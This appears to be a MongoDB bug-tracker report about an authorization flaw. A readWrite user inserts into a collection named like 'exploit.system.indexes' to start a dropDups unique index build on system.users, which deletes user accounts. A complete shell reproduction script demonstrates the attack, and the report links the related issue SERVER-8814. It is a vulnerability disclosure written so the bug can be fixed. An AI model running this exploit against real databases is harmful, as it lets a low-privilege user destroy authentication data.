There is (arguably) an error in the logic that decides whether to associate ActionType::ensureIndex with an insert request. A readWrite user can exploit this error to initiate a dropDups index build on system.users by writing to a collection named e.g. exploit.system.indexes.
Reproduce with:
conn = MongoRunner.runMongod({auth:''}) adminDb = conn.getDB("admin") testDb = conn.getDB("test") adminDb.addUser({user:'admin', pwd:'x', roles:['userAdminAnyDatabase']}) adminDb.auth('admin','x') adminDb.addUser({user:'mallory', pwd:'x', roles:[], otherDBRoles:{test:['readWrite']}}) testDb.addUser({user:'user1', pwd:'x', roles:['read']}) testDb.addUser({user:'user2', pwd:'x', roles:['read']}) assert.eq(2, testDb.system.users.count()) adminDb.logout() adminDb.auth('mallory','x') testDb.exploit.system.indexes.insert({ns: "test.system.users", key: { haxx: 1.0 }, name: "haxx_1", unique: true, dropDups: true}) adminDb.logout() adminDb.auth('admin','x') // The following fails with "assert: [2] != [1] are not equal : undefined" assert.eq(2, testDb.system.users.count()) MongoRunner.stopMongod(conn)
- depends on
-
SERVER-8814 Inserts into any namespace ending in ".system.indexes" are treated like inserts into "system.indexes" and actually build indexes.
- Closed